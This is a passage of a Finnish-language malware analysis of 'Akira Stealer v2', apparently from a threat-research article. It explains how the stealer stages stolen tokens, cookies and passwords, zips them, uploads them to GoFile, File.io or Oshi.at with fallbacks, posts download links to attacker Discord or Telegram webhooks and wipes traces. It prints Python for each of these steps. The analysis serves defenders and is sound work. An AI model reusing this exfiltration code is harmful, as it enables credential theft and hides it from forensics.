startup)\n",[1691,9876,9877],{"class":1693,"line":2412},[1691,9878,9879],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[604,9881,9882,9897],{},[607,9883,9884,9889,9890,620,9892,620,9894,3904],{},[540,9885,9886],{},[551,9887,9888],{},"zip_client_file()",": Pakkaa koko väliaikaishakemiston, mukaan lukien ",[551,9891,9844],{},[551,9893,6341],{},[551,9895,9896],{},"Passwords",[607,9898,9899,9903,9904],{},[540,9900,9901],{},[551,9902,9064],{},": Julkaisee latauslinkin Telegramin tai Discord-webhookin kautta ja listaa jokaisen varastetun tiedostonimen:",[588,9905,9907],{"className":4503,"code":9906,"language":4505,"meta":594,"style":594},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[551,9908,9909,9914,9919,9924,9929],{"__ignoreMap":594},[1691,9910,9911],{"class":1693,"line":1694},[1691,9912,9913],{},"fields.append({\n",[1691,9915,9916],{"class":1693,"line":2070},[1691,9917,9918],{},"\"name\": \"📂 Files\",\n",[1691,9920,9921],{"class":1693,"line":2076},[1691,9922,9923],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1691,9925,9926],{"class":1693,"line":2082},[1691,9927,9928],{},"\"inline\": False\n",[1691,9930,9931],{"class":1693,"line":2406},[1691,9932,9933],{},"})\n",[533,9935,9936],{},[540,9937,9938],{},"Johtopäätös:",[533,9940,9941],{},"Akira Stealer v2:n tiedostojen sieppaaja jahtaa järjestelmällisesti arkaluonteisia asiakirjoja avainsana- ja tiedostopäätesuodattimilla, noudattaa 2 MB:n kokokattoa tehokkuuden vuoksi ja kokoaa varastetut kohteet arkistoon. Sen suunnittelu varmistaa sekä laajuuden (useita kansioita) että tarkkuuden (kohdennetut suodattimet), mikä tekee siitä yhden haittaohjelman elinkaaren vaikuttavimmista vaiheista.",[721,9943,9945],{"id":9944},"_712-exfiltraatiostrategia","7.12 Exfiltraatiostrategia",[533,9947,727],{},[533,9949,9950],{},"Exfiltraatiomoduuli käsittelee haravoidut tokenit ja lisäartefaktit (evästeet, automaattiset täytöt, lokit) vaiheistamalla ne jäsenneltyyn hakemistoon, pakkaamalla ne arkistoksi, lataamalla ne useisiin online-tiedostopalveluihin ja lähettämällä yksityiskohtaisia webhook-ilmoituksia. Tässä luvussa puramme jokaisen vaiheen osiin tiedostopolkujen, verkkotunnusten päätepisteiden ja koodiviittausten kera täyttä jäljitettävyyttä varten.",[870,9952,9954],{"id":9953},"_7121-hakemistoasettelu-ja-tiedostonimet","7.12.1 Hakemistoasettelu ja tiedostonimet",[533,9956,876],{},[533,9958,9959],{},"Akira järjestää kaikki kerätyt artefaktit siistiin ja hierarkkiseen väliaikaishakemistorakenteeseen. Tämä suunnittelu mahdollistaa tehokkaan paketoinnin ja helpon exfiltraation jälkeisen tarkastelun hyökkääjälle. Jokainen datakategoria—kuten Tokens, Cookies, Passwords tai Screenshots—tallennetaan omaan alikansioonsa juuripolun alle, joka on nimetty uhrin tietokoneen mukaan (esim. DESKTOP1234). Tämä jäsennelty asettelu varmistaa selkeyden, minimoi kaksoiskappaleet ja virtaviivaistaa arkistointi- ja latausprosessia. Se tekee myös automaattisesta jäsentämisestä tai manuaalisesta tarkastelusta paljon helpompaa hyökkääjän puolella.",[588,9961,9964],{"className":9962,"code":9963,"language":593},[591],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[551,9965,9963],{"__ignoreMap":594},[870,9967,9969],{"id":9968},"_7122-tokenien-ja-artefaktien-vaiheistus","7.12.2 Tokenien ja artefaktien vaiheistus",[533,9971,876],{},[533,9973,9974],{},"Ennen exfiltraatiota Akira vaiheistaa kaikki olennaiset artefaktit vastaaviin alikansioihin. Esimerkiksi token-arvot kirjoitetaan yksittäisiin .txt-tiedostoihin nopean skannauksen ja validoinnin helpottamiseksi. Evästeet, automaattisen täytön merkinnät ja salasanat kirjoitetaan vastaavasti selaimen mukaan nimettyihin jäsenneltyihin tekstitiedostoihin. Tämä vaihe standardoi datan asettelun ja mahdollistaa automaattisten työkalujen seurata, mitä haravoitiin. Se varmistaa myös, että myöhempi zip-arkisto heijastaa ennustettavaa ja hyökkääjäystävällistä muotoa riippumatta siitä, mitkä moduulit laukaistiin.",[588,9976,9978],{"className":4503,"code":9977,"language":4505,"meta":594,"style":594},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[551,9979,9980,9985,9990,9995,10000,10005,10010,10015,10020,10025],{"__ignoreMap":594},[1691,9981,9982],{"class":1693,"line":1694},[1691,9983,9984],{},"import os, shutil\n",[1691,9986,9987],{"class":1693,"line":2070},[1691,9988,9989],{},"# Constants\n",[1691,9991,9992],{"class":1693,"line":2076},[1691,9993,9994],{},"TMP = os.getenv('TEMP')\n",[1691,9996,9997],{"class":1693,"line":2082},[1691,9998,9999],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1691,10001,10002],{"class":1693,"line":2406},[1691,10003,10004],{},"# Prepare structure\n",[1691,10006,10007],{"class":1693,"line":2412},[1691,10008,10009],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1691,10011,10012],{"class":1693,"line":3070},[1691,10013,10014],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1691,10016,10017],{"class":1693,"line":3866},[1691,10018,10019],{},"# Save token\n",[1691,10021,10022],{"class":1693,"line":3872},[1691,10023,10024],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1691,10026,10027],{"class":1693,"line":4118},[1691,10028,10029],{},"    f.write(token)\n",[604,10031,10032,10035],{},[607,10033,10034],{},"Tokenit tallennetaan erillisiin pieniin tekstitiedostoihin nopeaa tarkastelua varten.",[607,10036,10037,10038,10041,10042,699],{},"Evästedumpit funktiosta ",[551,10039,10040],{},"Chromium.GetCookies()"," kirjoitetaan tiedostoon ",[551,10043,10044],{},"{Browser}_Cookies.txt",[870,10046,10048],{"id":10047},"_7133-zip-arkiston-luonti","7.13.3 ZIP-arkiston luonti",[533,10050,876],{},[533,10052,10053,10054],{},"Kun vaiheistus on valmis, Akira pakkaa koko hakemiston yhdeksi ZIP-arkistoksi. Arkiston tiedostonimi noudattaa yhdenmukaista nimeämiskäytäntöä: ",[10055,10056,10057,10058],"computer-name",{},"_",[10059,10060,10061],"timestamp",{},".zip, käyttäen isäntäkoneen koneen nimeä ja UTC-aikaleimaa ISO 8601 -muodossa. Tämä varmistaa sekä yksilöllisyyden että kronologisen jäljitettävyyden. Käymällä läpi koko vaiheistushakemiston rekursiivisesti jokainen tiedosto säilyy suhteellisessa rakenteessaan ZIP:in sisällä. Tämä muoto yksinkertaistaa massahakua ja tarkastelua hyökkääjille, erityisesti jos satoja uhreja vaarannetaan rinnakkain.",[588,10063,10065],{"className":4503,"code":10064,"language":4505,"meta":594,"style":594},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[551,10066,10067,10072,10076,10081,10086,10091,10096,10101,10106,10111,10116,10121,10126],{"__ignoreMap":594},[1691,10068,10069],{"class":1693,"line":1694},[1691,10070,10071],{},"import zipfile, datetime\n",[1691,10073,10074],{"class":1693,"line":2070},[1691,10075,3863],{"emptyLinePlaceholder":325},[1691,10077,10078],{"class":1693,"line":2076},[1691,10079,10080],{},"def create_archive(root_dir: str) -> str:\n",[1691,10082,10083],{"class":1693,"line":2082},[1691,10084,10085],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1691,10087,10088],{"class":1693,"line":2406},[1691,10089,10090],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1691,10092,10093],{"class":1693,"line":2412},[1691,10094,10095],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1691,10097,10098],{"class":1693,"line":3070},[1691,10099,10100],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1691,10102,10103],{"class":1693,"line":3866},[1691,10104,10105],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1691,10107,10108],{"class":1693,"line":3872},[1691,10109,10110],{},"            for fname in files:\n",[1691,10112,10113],{"class":1693,"line":4118},[1691,10114,10115],{},"                full = os.path.join(dirpath, fname)\n",[1691,10117,10118],{"class":1693,"line":5037},[1691,10119,10120],{},"                rel = os.path.relpath(full, root_dir)\n",[1691,10122,10123],{"class":1693,"line":5043},[1691,10124,10125],{},"                zf.write(full, rel)\n",[1691,10127,10128],{"class":1693,"line":5049},[1691,10129,10130],{},"    return zip_path\n",[604,10132,10133],{},[607,10134,10135,10136,10139],{},"Arkisto nimetty ",[551,10137,10138],{},"DESKTOP1234_20250505T123456Z.zip"," isäntäkoneen johdonmukaisuuden vuoksi.",[533,10141,10142],{},[540,10143,10144],{},"ZIP-tiedostonimen käytäntö",[533,10146,10147],{},"Arkisto nimetään käyttäen vaarannetun isäntäkoneen tietokoneen nimeä, jota seuraa UTC-aikaleima ISO-muodossa, mikä varmistaa yksilöllisyyden ja kronologisen järjestyksen.",[588,10149,10151],{"className":4503,"code":10150,"language":4505,"meta":594,"style":594},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[551,10152,10153,10158,10162,10166,10171,10175,10180,10184,10188],{"__ignoreMap":594},[1691,10154,10155],{"class":1693,"line":1694},[1691,10156,10157],{},"import datetime, os\n",[1691,10159,10160],{"class":1693,"line":2070},[1691,10161,3863],{"emptyLinePlaceholder":325},[1691,10163,10164],{"class":1693,"line":2076},[1691,10165,10080],{},[1691,10167,10168],{"class":1693,"line":2082},[1691,10169,10170],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n",[1691,10172,10173],{"class":1693,"line":2406},[1691,10174,10085],{},[1691,10176,10177],{"class":1693,"line":2412},[1691,10178,10179],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1691,10181,10182],{"class":1693,"line":3070},[1691,10183,10090],{},[1691,10185,10186],{"class":1693,"line":3866},[1691,10187,10095],{},[1691,10189,10190],{"class":1693,"line":3872},[1691,10191,10130],{},[533,10193,10147],{},[870,10195,10197],{"id":10196},"_7144-latauksen-työnkulku","7.14.4 Latauksen työnkulku",[533,10199,876],{},[533,10201,10202],{},"Akira käyttää kolmiportaista latausstrategiaa maksimoidakseen onnistuneen datan exfiltraation mahdollisuuden. Se yrittää ensin ladata arkiston GoFile.io-palveluun heidän julkisen API:nsa kautta, joka palauttaa latauslinkin. Jos GoFile ei ole saatavilla tai on estetty, se palautuu File.io:hon ja sitten Oshi.at:hen, mikä varmistaa, että data siirretään aina. Nämä palvelut tarjoavat anonyymiä, lyhytikäistä hostingia, mikä tekee alasajosta ja jäljitettävyydestä vaikeaa. Skripti kaappaa lopullisen lataus-URL:n ja valmistelee sen webhook-toimitusta varten.",[711,10204,10205,10237,10264],{},[607,10206,10207,10210],{},[540,10208,10209],{},"Ensisijainen: GoFile.io",[604,10211,10212,10220,10228],{},[607,10213,10214,981,10217],{},[540,10215,10216],{},"API palvelinten hakemiseen",[551,10218,10219],{},"GET https://api.gofile.io/servers",[607,10221,10222,981,10225],{},[540,10223,10224],{},"Latauspäätepiste",[551,10226,10227],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[607,10229,10230,981,10233,10236],{},[540,10231,10232],{},"Vastauskenttä",[551,10234,10235],{},"data.downloadPage"," sisältää lopullisen URL:n.",[607,10238,10239,10242],{},[540,10240,10241],{},"Varajärjestely #1: File.io",[604,10243,10244,10255],{},[607,10245,10246,981,10248,10251,10252],{},[540,10247,10224],{},[551,10249,10250],{},"POST https://file.io/"," parametrilla ",[551,10253,10254],{},"files={'file': open(...)}",[607,10256,10257,10260,10261,699],{},[540,10258,10259],{},"Vastaus",": JSON-kenttä ",[551,10262,10263],{},"link",[607,10265,10266,10269],{},[540,10267,10268],{},"Varajärjestely #2: Oshi.at",[604,10270,10271,10285],{},[607,10272,10273,981,10275,10251,10278,10281,10282,699],{},[540,10274,10224],{},[551,10276,10277],{},"POST http://oshi.at/",[551,10279,10280],{},"files[]"," ja parametreilla ",[551,10283,10284],{},"expire=43200, autodestroy=0",[607,10286,10287,10289,10290,699],{},[540,10288,10259],{},": Selkoteksti, joka sisältää ",[551,10291,10292],{},"DL: \u003Curl>",[533,10294,10295],{},[540,10296,10297],{},"Toteutuskatkelma:",[588,10299,10301],{"className":4503,"code":10300,"language":4505,"meta":594,"style":594},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[551,10302,10303,10308,10312,10317,10322,10326,10331,10336,10341,10346,10351,10356,10361,10366,10371,10376,10381,10385,10390,10395,10399,10404,10408,10413,10418,10422],{"__ignoreMap":594},[1691,10304,10305],{"class":1693,"line":1694},[1691,10306,10307],{},"import requests\n",[1691,10309,10310],{"class":1693,"line":2070},[1691,10311,3863],{"emptyLinePlaceholder":325},[1691,10313,10314],{"class":1693,"line":2076},[1691,10315,10316],{},"def upload_with_fallback(zip_path):\n",[1691,10318,10319],{"class":1693,"line":2082},[1691,10320,10321],{},"    # GoFile\n",[1691,10323,10324],{"class":1693,"line":2406},[1691,10325,5152],{},[1691,10327,10328],{"class":1693,"line":2412},[1691,10329,10330],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1691,10332,10333],{"class":1693,"line":3070},[1691,10334,10335],{},"        for srv in servers:\n",[1691,10337,10338],{"class":1693,"line":3866},[1691,10339,10340],{},"            try:\n",[1691,10342,10343],{"class":1693,"line":3872},[1691,10344,10345],{},"                r = requests.post(\n",[1691,10347,10348],{"class":1693,"line":4118},[1691,10349,10350],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1691,10352,10353],{"class":1693,"line":5037},[1691,10354,10355],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1691,10357,10358],{"class":1693,"line":5043},[1691,10359,10360],{},"                url = r.json()['data']['downloadPage']\n",[1691,10362,10363],{"class":1693,"line":5049},[1691,10364,10365],{},"                if url: return url\n",[1691,10367,10368],{"class":1693,"line":5055},[1691,10369,10370],{},"            except: continue\n",[1691,10372,10373],{"class":1693,"line":5061},[1691,10374,10375],{},"    except: pass\n",[1691,10377,10378],{"class":1693,"line":5067},[1691,10379,10380],{},"    # File.io\n",[1691,10382,10383],{"class":1693,"line":5073},[1691,10384,5152],{},[1691,10386,10387],{"class":1693,"line":5079},[1691,10388,10389],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1691,10391,10392],{"class":1693,"line":5085},[1691,10393,10394],{},"        return r.json().get('link','')\n",[1691,10396,10397],{"class":1693,"line":5091},[1691,10398,10375],{},[1691,10400,10401],{"class":1693,"line":5097},[1691,10402,10403],{},"    # Oshi.at\n",[1691,10405,10406],{"class":1693,"line":5103},[1691,10407,5152],{},[1691,10409,10410],{"class":1693,"line":5109},[1691,10411,10412],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1691,10414,10415],{"class":1693,"line":5115},[1691,10416,10417],{},"        return text.split('DL: ')[1].strip()\n",[1691,10419,10420],{"class":1693,"line":5121},[1691,10421,10375],{},[1691,10423,10424],{"class":1693,"line":5788},[1691,10425,10426],{},"    return ''\n",[870,10428,10430],{"id":10429},"_7155-webhook-hälytykset-hyökkääjän-haku-ja-analyytikon-näkyvyyden-rajat","7.15.5 Webhook-hälytykset, hyökkääjän haku ja analyytikon näkyvyyden rajat",[533,10432,876],{},[533,10434,10435],{},"Ladattuaan ZIP-arkiston Akira lähettää webhook-ilmoituksen—tyypillisesti Discordiin tai Telegramiin—jäsennellyllä embedillä, joka sisältää yksityiskohtaista tietoa: varastettujen tokenien määrän, evästeiden määrän, tiedoston koon ja klikattavan latauslinkin. Tämä antaa hyökkääjille välitöntä palautetta ja hakuoikeuden. Luotettavuuden varmistamiseksi lähetetään myös selkokielinen varaviesti, joka sisältää pelkän arkistolinkin. Tämä redundanssi takaa toimituksen, vaikka alusta estäisi tai suodattaisi embedin. Puolustajan näkökulmasta nämä viestit ovat usein näkymättömiä, ellei ulospäin suuntautuvaa verkkovalvontaa ole käytössä.",[533,10437,10438],{},[540,10439,10440],{},"Embed-ilmoitus",[588,10442,10444],{"className":4503,"code":10443,"language":4505,"meta":594,"style":594},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[551,10445,10446,10451,10456,10461,10466,10471,10476,10481,10486,10490,10495,10500,10505,10509],{"__ignoreMap":594},[1691,10447,10448],{"class":1693,"line":1694},[1691,10449,10450],{},"# Build embed with key metadata\n",[1691,10452,10453],{"class":1693,"line":2070},[1691,10454,10455],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1691,10457,10458],{"class":1693,"line":2076},[1691,10459,10460],{},"fields = [\n",[1691,10462,10463],{"class":1693,"line":2082},[1691,10464,10465],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1691,10467,10468],{"class":1693,"line":2406},[1691,10469,10470],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1691,10472,10473],{"class":1693,"line":2412},[1691,10474,10475],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1691,10477,10478],{"class":1693,"line":3070},[1691,10479,10480],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1691,10482,10483],{"class":1693,"line":3866},[1691,10484,10485],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1691,10487,10488],{"class":1693,"line":3872},[1691,10489,7937],{},[1691,10491,10492],{"class":1693,"line":4118},[1691,10493,10494],{},"payload = {\n",[1691,10496,10497],{"class":1693,"line":5037},[1691,10498,10499],{},"    'username':'Akira 💊',\n",[1691,10501,10502],{"class":1693,"line":5043},[1691,10503,10504],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1691,10506,10507],{"class":1693,"line":5049},[1691,10508,2415],{},[1691,10510,10511],{"class":1693,"line":5055},[1691,10512,10513],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[604,10515,10516,10522],{},[607,10517,10518,10521],{},[540,10519,10520],{},"Toimitus",": Lähetetään hyökkääjän Discord-/Telegram-kanavaan.",[607,10523,10524,10527,10528,10531],{},[540,10525,10526],{},"Embed-linkki",": Sisältää klikattavan ",[551,10529,10530],{},"download_url","-osoitteen, joka osoittaa ZIP-tiedostoon GoFilessa (tai vara-isännässä).",[533,10533,10534],{},[540,10535,10536],{},"Raakalinkin varajärjestely",[588,10538,10540],{"className":4503,"code":10539,"language":4505,"meta":594,"style":594},"# Ensure attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[551,10541,10542,10547,10552],{"__ignoreMap":594},[1691,10543,10544],{"class":1693,"line":1694},[1691,10545,10546],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1691,10548,10549],{"class":1693,"line":2070},[1691,10550,10551],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1691,10553,10554],{"class":1693,"line":2076},[1691,10555,10556],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[604,10558,10559],{},[607,10560,10561,10564],{},[540,10562,10563],{},"Selkoteksti",": Takaa linkin toimituksen siltä varalta, että embedit estetään tai pudotetaan hiljaa.",[533,10566,10567],{},[540,10568,10569],{},"Miten hyökkääjä hakee linkin",[533,10571,10572,10575],{},[540,10573,10574],{},"1. Webhook-infrastruktuuri","\nHyökkääjä upottaa webhook-päätepisteen haittaohjelman konfiguraatioon:",[588,10577,10579],{"className":4503,"code":10578,"language":4505,"meta":594,"style":594},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[551,10580,10581,10586],{"__ignoreMap":594},[1691,10582,10583],{"class":1693,"line":1694},[1691,10584,10585],{},"# at class initialization\n",[1691,10587,10588],{"class":1693,"line":2070},[1691,10589,10590],{},"self.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[604,10592,10593,10600],{},[607,10594,10595,981,10597],{},[540,10596,8536],{},[551,10598,10599],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[607,10601,10602,981,10605],{},[540,10603,10604],{},"Telegram",[551,10606,10607],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[533,10609,10610,10613],{},[540,10611,10612],{},"2. Reaaliaikainen toimitus","\nVälittömästi onnistuneen tiedoston latauksen jälkeen haittaohjelma suorittaa:",[588,10615,10617],{"className":4503,"code":10616,"language":4505,"meta":594,"style":594},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[551,10618,10619,10623,10628,10633,10638,10643,10648,10653,10658,10662,10667],{"__ignoreMap":594},[1691,10620,10621],{"class":1693,"line":1694},[1691,10622,10494],{},[1691,10624,10625],{"class":1693,"line":2070},[1691,10626,10627],{},"  'username': 'Akira 💊',\n",[1691,10629,10630],{"class":1693,"line":2076},[1691,10631,10632],{},"  'embeds': [{\n",[1691,10634,10635],{"class":1693,"line":2082},[1691,10636,10637],{},"      'title': '🗄️ Exfiltration Complete',\n",[1691,10639,10640],{"class":1693,"line":2406},[1691,10641,10642],{},"      'fields': [\n",[1691,10644,10645],{"class":1693,"line":2412},[1691,10646,10647],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1691,10649,10650],{"class":1693,"line":3070},[1691,10651,10652],{},"      ]\n",[1691,10654,10655],{"class":1693,"line":3866},[1691,10656,10657],{},"  }]\n",[1691,10659,10660],{"class":1693,"line":3872},[1691,10661,2415],{},[1691,10663,10664],{"class":1693,"line":4118},[1691,10665,10666],{},"# Transmit the archive URL entirely in the JSON body\n",[1691,10668,10669],{"class":1693,"line":5037},[1691,10670,10671],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[604,10673,10674,10683],{},[607,10675,10676,10678,10679,10682],{},[551,10677,10530],{},"-muuttuja interpoloidaan embedin ",[551,10680,10681],{},"fields.value","-kenttään.",[607,10684,10685,10686,10688,10689,10692],{},"Telegram-varajärjestelyssä ",[551,10687,10530],{}," esiintyy selkokielisessä ",[551,10690,10691],{},"message","-parametrissa.",[533,10694,10695],{},[540,10696,10697],{},"3. EDR:n ja forensiikan näkyvyyden rajoitukset",[604,10699,10700,10709],{},[607,10701,10702,10705,10706,10708],{},[540,10703,10704],{},"Ei paikallista lokitusta",": Haittaohjelma ei kirjoita ",[551,10707,10530],{},"-osoitetta levylle tai järjestelmälokeihin.",[607,10710,10711,10714],{},[540,10712,10713],{},"EDR:n katvealueet",": Työkalut kuten Microsoft Defender for Endpoint voivat merkitä HTTP-pyyntöyrityksen, mutta eivät voi poimia upotettua URL-osoitetta.",[533,10716,10717],{},[540,10718,10719],{},"4. Miksi analyytikko ei voi palauttaa tätä paikallisesti:",[604,10721,10722,10734,10755],{},[607,10723,10724,10727,10728,10730,10731,10733],{},[540,10725,10726],{},"Ei paikallista kopiota linkistä",": Haittaohjelma kirjoittaa ",[551,10729,10530],{},"-osoitteen vain muistiin ja lähettää sen verkon yli; se ",[4640,10732,1592],{}," tallenna tätä URL-osoitetta levylle tai lokeihin.",[607,10735,10736,10739,10740,10742,10747,10748,10750,10751,10754],{},[540,10737,10738],{},"Ohimenevän vaiheistuksen siivous",": Välittömästi latauksen jälkeen koodi suorittaa:",[701,10741],{},[1691,10743,10746],{"className":10744},[10745],"text-monospace","shutil.rmtree(ROOT)",",",[701,10749],{},"\npyyhkien kaikki vaiheistetut artefaktit (mukaan lukien kaikki ohimenevät tekstitiedostot) ",[551,10752,10753],{},"%TEMP%",":stä.",[607,10756,10757,10760,10761,10764],{},[540,10758,10759],{},"Vain verkon yli tapahtuva lähetys",": Webhook-kutsut (",[551,10762,10763],{},"requests.post",") tapahtuvat muistissa; uhrin koneelle ei luoda HTTP-lokeja eikä selaushistorian merkintöjä.",[829,10766,10767],{},[533,10768,10769,10772,10773,10775,10776,10778],{},[540,10770,10771],{},"Vaikutus analyytikoille:","\nIlman live-pakettikaappausta (esim. network TAP tai välityspalvelin) suorituksen hetkellä tarkka ",[551,10774,10530],{}," on palautumaton tartunnan jälkeen.\nLisäksi exfiltroitu arkisto poistetaan automaattisesti hosting-palvelusta, mikä pienentää entisestään forensisen haun ikkunaa.\nTartunnan jälkeinen levykuvaus tai isäntäpohjainen forensinen palautus ",[4640,10777,1592],{}," paljasta hyökkääjän URL-osoitetta tai tiedostoisännän tunnistetietoja, koska paikallisia artefakteja ei jää.",[835,10780],{"className":10781},[838,839],[721,10783,10785],{"id":10784},"_713-johtopäätös","7.13 Johtopäätös",[533,10787,727],{},[533,10789,10790,10792],{},[551,10791,582],{}," (Akira Stealer v2) on kattava, kaupallisesti jaeltu stealer-työkalupakki. Se yhdistää laajan kohdennuksen, hienostuneen analyysin vastaisuuden, dynaamisen infrastruktuurin hallinnan ja koko pinon kattavan tietovarkauden tunnistetietojen, kryptovaluuttojen, järjestelmän profiloinnin ja käyttäjätiedostojen osalta. Sen modulaarisuus ja huomaamattomuus yhdistettynä nopeisiin uudelleentartuntamenetelmiin tekevät siitä yhden teknisesti kehittyneimmistä stealereista, joita on havaittu aktiivisessa käytössä.",[528,10794,10796],{"id":10795},"_8-kiertävä-suoritusketju-itsekorjautuva-silmukka","8. Kiertävä suoritusketju: itsekorjautuva silmukka",[533,10798,535],{},[533,10800,10801,10802,10805],{},"Yksi tämän kampanjan teknisesti hienostuneimmista elementeistä on sen regeneratiivinen, kiertävä suoritusmalli. Toisin kuin tavanomaiset haittaohjelmat, joissa on lineaariset vaiheet dropperista payloadiin ja sitten katoaminen, tämä operaatio oli suunniteltu ",[540,10803,10804],{},"suljetuksi silmukaksi"," — jossa jokainen komponentti vahtii muita.",[533,10807,10808,10809,10812],{},"Tämä ",[540,10810,10811],{},"itsekorjautuva arkkitehtuuri"," teki tartuntaketjusta paitsi pysyvän myös autonomisen. Se pystyi palautumaan täysin osittaisista poistoista. Niin kauan kuin yksi palanen pysyi hengissä, koko haittaohjelmaekosysteemi pystyi kokoamaan itsensä uudelleen.",[721,10814,10816],{"id":10815},"_81-käyttäytymisen-erittely","8.1 Käyttäytymisen erittely",[533,10818,727],{},[711,10820,10821,10847,10860,10889,10907],{},[607,10822,10823,10828,10830,10831,10834,10835,10837,10838,10840,10841,10843,10844,10846],{},[540,10824,10825,10826,1122],{},"Persistence-ankkuri (",[551,10827,574],{},[551,10829,574],{}," toimii perustavana jalansijana. Se pudotetaan tyypillisesti Windowsin 